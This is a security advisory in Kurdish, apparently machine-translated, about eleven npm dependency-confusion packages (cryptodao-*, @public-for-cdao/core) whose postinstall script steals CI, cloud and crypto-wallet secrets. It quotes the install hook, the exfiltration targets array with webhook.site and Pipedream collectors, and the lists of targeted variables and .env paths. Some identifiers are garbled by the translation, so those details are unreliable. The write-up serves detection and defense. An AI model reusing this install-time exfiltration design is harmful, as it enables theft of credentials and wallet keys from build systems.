TL; DR
Di 2026-06-17 de, yek hesabê npm hate weşandin. yanzdeh pakêtên ku yek armanc û yek bargiraniyek parve dikinDeh ji wan hildigirin cryptodao- pêşgir (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); ya yanzdehê scoped e @public-for-cdao/coreHer yek di versiyona ... de hate weşandin. 99.99.99 û bi baytekî wekhev dişîne recon.js ku diherike postinstall.
Nav nîşan didin. Ew mîna blokên avahiyê yên navxweyî yên zincîra amûrên taybet ên projeya krîpto/DAO têne xwendin. Bi guhertoyek çêkirî ya bilind, ew li benda avakirinê dimînin. pipeline ku ji bo çareserkirina wan navan hatiye mîheng kirin û berî - an li şûna - qeyda taybet digihîje npm-ya giştî. Ev e tevliheviya girêdayîbûnê, û barkêş tam li gorî cihê ku ew hêvî dike dakeve tê mîhengkirin: CI/CD rêberên.
Heke postinstall agir, recon.js hûrguliyên mêvandar berhev dike, bi baldarî digere çil guherbarên jîngeha ewr, CI, û berîka krîpto, her dixwîne .env pelên ku ew dikare bibîne û xetên hilgirê nehêniyan bi awayekî bêjeyî dişîne, dû re pakêtê dişîne du berhevkaran — webhook.site û xaleke dawî ya Pipedream — bi verastkirina sertîfîkaya TLS-ê ya neçalak. Kopiyek jî di bin de hatiye nivîsandin /tmp.
Giranî: bilindEkosîstema bandordar: npmHer yanzdeh pakêt di dema nivîsandina vê nivîsê de çalak bûn.
Anatomiya êrîşê
Mekanîzma ji çar beşên tevgerbar pêk tê, û gava hûn bizanin yek ji wan jî nenas e. yek qat piştî navê pakêtê binêre.
1. Enflasyonê wekî ceribandinek çareserker. Her pakêt versiyonê diyar dike 99.99.99. Tevliheviya girêdayîbûnê dema ku rêveberek pakêtan ji bo pirsek dipirse dixebite. navê navxweyî, her weha qeyda giştî kontrol dike û guhertoya herî bilind hildibijêre dibîne. Hilbijartina xwerû ya npm ji bo rêza caret an wildcard ev e guhertoya herî têrker li seranserê her çavkaniya mîhengkirî; heke her du jî taybet bin registry û bersiva npm ya giştî ji bo heman navî, hejmara guhertoya mezintir qezenc dike. A 99.99.99 bi eslê xwe ji her guhertoyek navxweyî ya rastîn a ku projeyek hebe çêtir e gihîştiye, ji ber vê yekê çareserkerek ku bi çavkaniya taybet ve nehatiye girêdan tercîh dike kopiyek giştî - û di vê rewşê de, dijminane - ye. Operator ne hewce ye ku bizanibe hejmarên guhertoya rastîn ên hedefê; hilbijartina herî zêde ya bêaqil her gav wekheviyê garantî dike rêya wan xera dike.
2. Tetikek piştî sazkirinê. pakêt.json barkêşiyê bi sazkirinê ve girêdide çerxa jiyanê:
{ "scripts": { "postinstall": "node recon.js" } } Pêdivî bi hinartina pakêtê nîne. Tenê sazkirina wê - ku CI ye pipeline bixweber dike - dimeşe recon.js.
3. Lêgerîneke berfireh a veşartî. recon.js rêzek encaman di qonaxan de berhev dike:
- Çerçoveya mêvandar: navê mêvandar, platform û berdan, mîmarî, navê bikarhêner, xebitandin Peldanka
- Guhêrbarên jîngehê: ew lîsteyek sabît a nêzîkî çil nav û tomaran dubare dike her yek ji wan ên ku hatine danîn. Lîste eşkere dike - ew tokenên CI yên gelemperî çêdike. (CI_JOB_TOKEN, Şîfreya_QEYDKIRINA_CI, GITLAB_ACCESS_TOKEN) û ewr bawernameyan (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) bi razên qeyd û konteynerê (NPM_TOKEN, Şîfreya_DOCKER, ŞÎFREYA_HARBOR) û komeke bi tama krîpto-bi awayekî zelal: KILÎTA_TAYBET, MNEMONÎK, SEED_PHRASE, INFURA_API_KEY, KEY_API_YA_ALCHEMY, ETH_RPC, BSC_RPCNirxên tomarkirî ji bo 50 karakterên pêşîn têne kurtkirin.
- .a V pelan: ew navnîşek rêyan lêkolîn dike — .a V, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /mal/gitlab-runner/.env, /root/.env, û ji .çêkerî/.pêşveçûnî guhertoyên - û ji bo her pelê ku heye, ew naverokê li gorî rêzên lihevhatî fîltre dike KILÎT|NEHENÎ|NÎŞANE|DERBASBÛN|TAYBET|MNEMONÎK û wan rêzan **bi tevahî, bêqutkirin** dixe nav encaman.
- Çerçoveya Build-host: ew 20 tomarên pêşîn ên navnîş dike /ava dike/, /mal/gitlab-runner/avakirin/, /var/lib/gitlab-runner/, û /tmp/.
Lîsteya rê û lîsteya guhêrbaran li gorî bazkerên GitLab-ê giran in, ku ev xal nîşan dide. barkêş bi awayekî rasterast li binesaziya CI ya xwe-mêvandar ji bilî pêşdebirkerek laptop. Komkirina lîsteya berhevkirinê li gorî kategoriyê berhevkirina armanckirî hêsan dike:
| Liq | Guherbar / rêyên gihîştinê |
|---|---|
| CI/CD nasname û bicihkirin | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| Ewr | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Tomargeh û konteyner | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Depoyên daneyan | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Krîpto / zincîra blokê | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| mesajên | SLACK_TOKEN, DISCORD_TOKEN |
| Li ser dîskê | .env malbat + /home/gitlab-runner/.env, /root/.env, /app/**/.env; lîsteyên rêbernameyên /builds/, /var/lib/gitlab-runner/ |
Koma krîptoyê ew beş e ku vê ji CI-secret-a gelemperî cuda dike. sweep: hevokên tovê berîka û mifteyên îmzekirinê tenê di hawîrdora a de xuya dibin projeya zincîra blokê, û ew rasterast li ser nexşeyê dikin krîptodao-/nîşan/peymana navkirina hilgiran.
4. Derxistina dualî bi verastkirina neçalak. Rêza berhevkirî ye rêzkirî û POSTkirî bo du cihan:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) redkirinBêdestûr: derewîn kontrolên sertîfîkayên TLS ji bo derketinê vedimirîne bang dike. Heman dane li ser stdout têne çapkirin (ji ber vê yekê ew di tomarên karên CI de jî cih digire) û hatî nivîsandin /tmp/.npm_recon_ .jsonÇewtî bêdeng tên daqurtandin, ji ber vê yekê şandina têkçûyî di derana sazkirinê de ji bilî yek şopê namîne [vedîtin] li ser hatiye sazkirin xet.
Şîroveyeke sereke di dosyayê de wê wekî "Tevliheviya Girêdayîbûnê" bi nav dike. "Barkêşiya Keşfê." Kurtkirina nirxên jîngehê bo 50 tîpan heye şiklê delîlek ji bo têgehê. Tiştê ku wê ji ronîkerek tenê-hebûnê derbas dike ev e .a V destgirtin: xetên hilgirê veşartî bi tevahî têne şandin, û cihên armanc du berhevkarên ku ji hêla êrîşkaran ve têne kontrol kirin û dixebitin in, ne lavaboyê ku tenê hejmartin lêdan.
Timeline
Şêweya weşanê îmzeya yek lêdanek senaryoyî ye, ne ya yanzdeh barkirinên serbixwe.
| Dem (UTC, 2026-06-17) | Bûyer |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 weşandin |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — guhertoya çavdêrîkirî, ~24 deqîqe şûnda |
Di nav 29 saniyeyan de deh pakêt derketin, bi qasî her sê saniyeyan yek. Çarçovekirî @public-for-cdao/core piştî nêzîkî 24 hûrdeman - saniyeyek peymana navkirinê ji bo heman armancê, di rewşê de ku projeya xerîdar behsa zincîra amûrên navxweyî di bin çarçoveyekê de ne wekî navên sade.
Nîşaneyên lihevhatinê
| Awa | indicator |
|---|---|
| Katalogê | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Katalogê | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Çengelê saz bike | postinstall: node recon.js |
| Pelê hat avêtin | /tmp/.npm_recon_<timestamp>.json |
| Nîşaneya qeydê | [recon] <pkg>@<ver> installed on <hostname> (stdout di tomarên CI de) |
| Behavioral | rejectUnauthorized: false li ser HTTPS-ya derketî di dema sazkirinê de |
| payload | recon.js, li seranserê her yanzdeh pakêtan wekhev e (avakirinek hevpar) |
| Awa | 99.99.99 li ser her pakêtê |
| pakêtên | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (gişt 99.99.99) |
| Çapemend | aduljune / aduljune@proton.me (e-name nehatiye piştrastkirin, depoya çavkaniyê ya girêdayî tune ye) |
Vegotin û tevgera çavdêrîkirî
Her tiştê di derbarê komê de ber bi destekî ve nîşan dide. Her yanzdeh pakêt hatin weşandin. ji hêla hesabê npm ve aduljune (aduljune@proton.me, navnîşaneke neverastkirî bi tune depoya çavkaniya girêdayî), di nav 25 hûrdeman de, di heman demê de 99.99.99 awa, şandina recon.js naveroka wê bayt-bi-bayt li her derê yek e pakêt (MD5 li hemû yanzdeh kopiyên derxistî li hev dike). Ew bargiraniyek e li ser lîsteyek navan hatiye mohrkirin, ne ji nû ve bikaranîna koda serbixwe.
Lîsteya navan armanca armanckirî destnîşan dike. krîptodao-* û cdao şirove bike nexşeya modula taybet a projeyek krîpto/DAO, û navnîşa berhevkirina barkêşiyê neynikên ku texmîn dikin: li kêleka sirên CI û ewr ên gelemperî, ew bi taybetî digihîje KILÎTA_TAYBET, MNEMONÎK, SEED_PHRASE, û Ethereum/BSC RPC û mifteyên dabînker. Ew .a V rêyên lêgerînê û navnîşên rêbernameyan GitLab-runner in taybetî. Bandora çavdêrîkirî ew e ku her pipeline di sazkirina van de xapandin nav dê nîşaneyên CI, mifteyên ewr û yên li ser dîskê bişînin .a V razên - û, ji bo projeyek zincîra blokê, materyalê berîka wê - ji bo du berhevkarên partiya sêyemîn.
Em ti îdîayekê nakin ka kî hesabê bikar tîne an jî wan plan kiriye ku bi vê hesabê çi bikin. daneyan. Rastiyên ku bi serê xwe ne: nav cureyekî taybetî hedef digirin zincîra amûrên navxweyî, barkêş nirxên rastîn ên veşartî dixwîne û dişîne, û binesaziyê zindî bû.
Bandor, meyl, û rêberiya berevan
Tevliheviya girêdayîbûnê bi bandor dimîne ji ber ku ew tevgera çareserker bikar tîne, ne lawazî di her pakêtê de. Hilgir li vir bêwate ye - yanzdeh hema hema vala ne. pakêtan - lê nîva teqînê çi dibe bila bibe pipeline bi xeletî npm-ya giştî tercîh dike ji bo navekî navxweyî. CI-bazker cihê herî xirab in ku ev yek çêbibe: ew digirin tam nîşanekan û .a V pelên ku ev barkêş dixwîne, û ew saz dikin girêdayîbûn bi awayekî ne-înteraktîf, ji ber vê yekê piştî sazkirinê bêyî ku kes temaşe bike dimeşe.
Ev kom di heman demê de li gorî qalibek ku em her tim dibînin e: barkirinên dema sazkirinê yên ku pêşkêş dikin wekî "lêkolîn" an "keşf" dema ku berhevkirina bawernameyên rastîn dikin. Etîket di pelê de tiştê ku kod li ser runner dike naguhere. Du bijarteyên sêwiranê têne parastin çalakî bêdeng e: her operasyona torê û pergala pelan di nav de ye destgirê îstîsnayê ku xeletiyan red dike, ji ber vê yekê şandinek astengkirî an pelek winda tu derana teşhîsê çênake, û tenê tiştê ku tê çapkirin yekane bêzerar e [ji nû ve vedîtin] … sazkirî rêzek ku di nav dengê sazkirinê yê normal de têkel dibe. Bikaranîna webhook.site û Pipedream jî rehetiyek bi zanebûn e - her du jî belaş in, karûbarên girtina daxwazê ya tavilê peyda kirin, ji ber vê yekê operator hewcedarî serverên tune yên xwe û cihên armanc di tomarên derketinê de dişibin navên mêvandarên SaaS-ê yên asayî.
Aborî ew e ku vê yekê hêjayî bala parêzvanekî dike, her çend koda hilgir tiştekî pir hêsan e. Qeydkirina yanzdeh navan bêpere ye, barkêş yek e. pel yanzdeh caran hat kopîkirin, û rêveberê pakêtan hemû pêkanînê dike. Yekane şaş mîheng kirin pipeline her cihê ku yek ji van navan bikar tîne, tevahiya wê dide emelî.
Gavên konkret ji bo parêzvanan:
- Çarçoveyên navxweyî li qeyda xwe ya taybet pin bikin. npm ji bo navên navxweyî mîheng bike
û scopes tenê li dijî qeyda we çareser dibin (nexşeyên qeyda .npmrc yên scoped, an jî wekîlek ku ji bo navên xav qet negihîje npm-ya giştî). Navên qada giştî ya xwe veqetînin da ku kesek din nikaribe wan qeyd bike.
- Commit pelan kilît bike û bi –ignore-scripts saz bike li CI li cihê ku gengaz be, an jî komek piçûk a girêdayîbûnên ku bi rastî hewceyê skrîptên sazkirinê ne, kontrol bike. recon.js nikare bixebite eger piştî sazkirinê nayê bicihanîn.
- Guhertoyek 99.99.99 (an jî guhertoyek din a bêaqil bilind) a navekî ku xuyangê navxweyî dike, derman bike. wek alaveke sor di nirxandina girêdayîbûnê û çavdêriya qeydê de.
- Hişyarî li ser derketina dema sazkirinê. A piştî sazkirinê ku HTTPS-ek derketî vedike girêdan - nemaze bi verastkirina sertîfîkayê neçalak - bo webhook.site, Pipedream, an karûbarên girtina daxwazan ên wekhev hêjayî astengkirina li ser sînorê torê û nîşankirina di tomarên avakirinê de ne.
- Li pey berhemên dîrokî nêçîr bike. Bezvanan ji bo kontrol bike /tmp/.npm_recon_*.json û ji bo [vedîtin] … li ser … nîşankerê di tomarên CI yên dawî de hatî sazkirin. Ger were dîtin, her bizivirîne bawernameyek ku ji bo wê hatî nîşandan pipeline — Nîşaneyên CI, mifteyên ewr, nîşaneyên qeydkirinê, û her tovên berîkan an mifteyên taybet ên di jîngehê de an pelên .env hene.
Çavkanî
Di dema nivîsandina vê gotarê de tu raporên derveyî li ser vê komê tunebûn; analîz li jor rasterast li ser naveroka pakêtê ya weşandî ye




